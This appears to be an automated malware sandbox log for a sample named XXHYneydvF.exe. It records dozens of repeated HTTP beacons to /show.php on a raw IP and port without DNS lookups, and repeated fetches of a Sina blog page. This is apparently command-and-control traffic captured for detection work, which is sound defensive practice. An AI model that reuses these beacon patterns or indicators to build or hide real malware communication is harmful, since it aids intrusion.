Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache

Source: unknown

HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:51174 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204

Source: C:\Users\user\Desktop\XXHYneydvF.exe

Code function: 0_2_004026B0 recv,WSAGetLastError,

0_2_004026B0

Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
